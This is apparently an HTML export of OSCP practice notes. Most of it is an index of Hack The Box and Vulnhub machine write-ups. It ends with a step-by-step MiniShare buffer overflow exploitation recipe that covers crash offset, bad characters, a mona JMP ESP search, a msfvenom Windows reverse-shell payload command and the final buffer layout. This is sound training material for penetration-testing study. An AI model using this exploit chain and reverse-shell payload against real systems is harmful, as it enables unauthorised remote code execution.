<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--tenten.html">tenten</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--valentine.html">valentine</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--waldo.html">waldo</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--wall.html">wall</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--zetta.html">zetta</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--teacher.html">teacher</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--tatarsauce.html">tatarsauce</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--HTB_-ippsecc_linux--postman.html">postman</a></li>
</ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil.html">htbwithout msf - ranakhalil</a></li>
<ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Bashed_(linux).html">Bashed (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Devel_(windows).html">Devel (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Lame_(linux).html">Lame (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--legacy_(windows).html">legacy (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Optimum_(windows).html">Optimum (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Arctic_(Windows).html">Arctic (Windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Shocker_(linux).html">Shocker (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Valentine_(linux).html">Valentine (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--nibble_(linux).html">nibble (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--cronos_(linux).html">cronos (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Blue_(windows).html">Blue (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Irked_(linux).html">Irked (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Friendzone_(linux).html">Friendzone (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--brainfuck_(linux).html">brainfuck (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--beep_(linux).html">beep (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--nineveh_(linux).html">nineveh (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Active_(Windows).html">Active (Windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--sense_(freebsd).html">sense (freebsd)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--solidstate_(linux).html">solidstate (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--node_(linux).html">node (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Poison_(freebsd).html">Poison (freebsd)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Sunday_(solaris).html">Sunday (solaris)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Swagshop_(linux).html">Swagshop (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Jarvis_(linux).html">Jarvis (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Networked_(linux).html">Networked (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--TartarSauce_(linux).html">TartarSauce (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--LaCasaDePapel_(linux).html">LaCasaDePapel (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Hawk_(linux)_-_drupal.html">Hawk (linux) - drupal</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--lightweight_(linux).html">lightweight (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Devoops_(linux).html">Devoops (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--falafel_(linux).html">falafel (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--kotarak_(linux).html">kotarak (linux)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--bastard_(windows).html">bastard (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--granny_(windows).html">granny (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--grandpa_(windows).html">grandpa (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--bounty_(windows)_gobuster_-_webconfig_-juicy.html">bounty (windows) gobuster - webconfig -juicy</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--jerry_(windows).html">jerry (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--chatterbox_(windows).html">chatterbox (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Sillo_(windows).html">Sillo (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Conceal_(Windows).html">Conceal (Windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--Netmon_(windows).html">Netmon (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--jeeves_(windows)_jenkin.html">jeeves (windows) jenkin</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--bart_(windows).html">bart (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--tally_(windows).html">tally (windows)</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--jail.html">jail</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--safe.html">safe</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--htbwithout_msf_-_ranakhalil--bankrobber.html">bankrobber</a></li>
</ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub.html">Vulnhub</a></li>
<ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--Bsides_Vancouver.html">Bsides Vancouver</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--raven_1.html">raven 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--raven_2.html">raven 2 </a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--acid_1.html">acid 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--violator.html">violator</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--troll_3.html">troll 3</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--pinkypalace_v2.html">pinkypalace v2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--pinkypalace_v1.html">pinkypalace v1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--digital_world.html">digital world</a></li>
<ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--digital_world--joy.html">joy</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--digital_world--bravery.html">bravery</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--digital_world--mercy.html">mercy</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--digital_world--development.html">development</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--digital_world--torment.html">torment</a></li>
</ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--skytower.html">skytower</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--IMF.html">IMF</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--troll1.html">troll1 </a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--troll_2.html">troll 2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub---dev-random_sleepy.html">/dev/random sleepy</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--BILLY_MADISON.html">BILLY MADISON </a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--wallabys-nightmare.html">wallabys-nightmare</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--solidstate-_james.html">solidstate- james</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--web_developer_-_wp.html">web developer - wp</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--zico_1.html">zico 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--lin.security.html">lin.security</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--lord_of_the_root_-_mysql_udf.html">lord of the root - mysql udf</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--pwnos_2.0.html">pwnos 2.0</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--sickos.html">sickos</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--vulnos_2.html">vulnos 2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--Mr._Robot_1.html">Mr. Robot 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--stapler.html">stapler </a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--firstileaks.html">firstileaks</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--kioptix_2014.html">kioptix 2014</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--kioptix_1.3.html">kioptix 1.3</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--kioptix_1.2.html">kioptix 1.2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--kioptix_1.1.html">kioptix 1.1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--kioptix_1.html">kioptix 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--metasploitable_3.html">metasploitable 3</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--metasplotiable_2.html">metasplotiable 2 </a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub--metasploitable_1.html">metasploitable 1</a></li>
</ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2.html">Vulnhub2</a></li>
<ol>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--sunset_desk.html">sunset desk</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--me_and_my_gf_1.html">me and my gf 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--sunset_sunrise.html">sunset sunrise</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--UA_Literally_vulnerable.html">UA Literally vulnerable </a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--in_plain_sight_1.html">in plain sight 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--HA_Dhanush.html">HA: Dhanush</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--HA_Chanakya.html">HA: Chanakya</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--djinn.html">djinn</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--Jigsaw.html">Jigsaw</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--evm1.html">evm1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--mumbai_1.html">mumbai 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--gears-of-war-ep1.html">gears-of-war-ep1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--chakravyuh.html">chakravyuh</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--ha-avengers-arsenal.html">ha-avengers-arsenal</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--ha-naruto.html">ha-naruto</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--joker_-_joomla.html">joker - joomla</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--isro.html">isro</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hackerfest.html">hackerfest</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--bossplayersctf.html">bossplayersctf</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--Misdirection.html">Misdirection</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--armour.html">armour</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--ha-wordy-_wordpress.html">ha-wordy- wordpress</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--dc8.html">dc8</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--silky.html">silky</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--sunset_dawn.html">sunset dawn</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--sunset_dawn.html">sunset dawn</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--Prime.html">Prime</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--teuchter.html">teuchter</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--violator.html">violator</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--symfonos4.html">symfonos4</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--dc-7_-_drupal.html">dc-7 - drupal</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--ai_web_2.html">ai web 2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hack_6_day.html">hack 6 day</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--digitalworld-localtorment.html">digitalworld-localtorment</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hack-the-gemini-inc2.html">hack-the-gemini-inc2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--dev-random-k2-vm-boot2root.html">dev-random-k2-vm-boot2root</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hack_the_gemini.html">hack the gemini</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--ai_web_1.html">ai web 1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hack-the-lin-security_-_mast.html">hack-the-lin-security - mast</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--oracle_padding.html">oracle padding</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--nezuko-1-vulnhub.html">nezuko-1-vulnhub</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--minu-v2.html">minu-v2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--digitalworld-local-joy.html">digitalworld-local-joy</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--symfonos2.html">symfonos2</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--Matrix-3.html">Matrix-3</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--pumpkinraising.html">pumpkinraising</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--symfonos1.html">symfonos1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--W1R3S.inc_VM.html">W1R3S.inc VM</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hack_the_de_ice.html">hack the de ice</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--hack-kevgir.html">hack-kevgir</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--vulnos-1.html"> vulnos-1</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--dexter.html">dexter</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--pwnlab.html">pwnlab</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--sputnik-1_splunk.html">sputnik-1 splunk</a></li>
<li><a href="OSCP_Practice_(HTB_&_Vulnhub)--Vulnhub2--dc1.html">dc1</a></li>
</ol></ol></div>
<div class="page"><h1><b><u>Minishare - Exploitation</u></b></h1><br /><br /><br /><br /><br />Run the minishare server in the windows machine -> fuzz the application to crash -> we found it crashed in 2000 bytes -> then we need to check the offset -> actual value -> <br />/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 -> create a pattern -> then run the code in to python -> then we found the EIp value -> 43366843 -> now need to check the offset -> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 43366843 -> pattern value we got 1788 -> now run the code with this offset code and check the application is crashed or not -> after crashing we need to check the bad character -> remove the bad character -> ESP Follow dump -> after got bad character \x00\x0d-> we need jmp esp value -> we will use mona module for this -> !mona modules -> check the DEP and ASLR False -> then pick this otherwise use mona command -> !mona find -s "\xff\xe4" -m user32.dll -> pick 1st one and reverse it ->7603B503 # Address retrieved from Mona results -> \x03\xB5\x03\x76 # How it looks in your final exploit -> now create a shell code -> msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=ip LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0d’ -f python -> add shell code in to python code and maintain the buffere value -> buffer+="A" * 1788 + "\x03\xB5\x03\x76" + "C" * 16 + buf -> run it -> boom<br /><br /></div></div>
</body></html>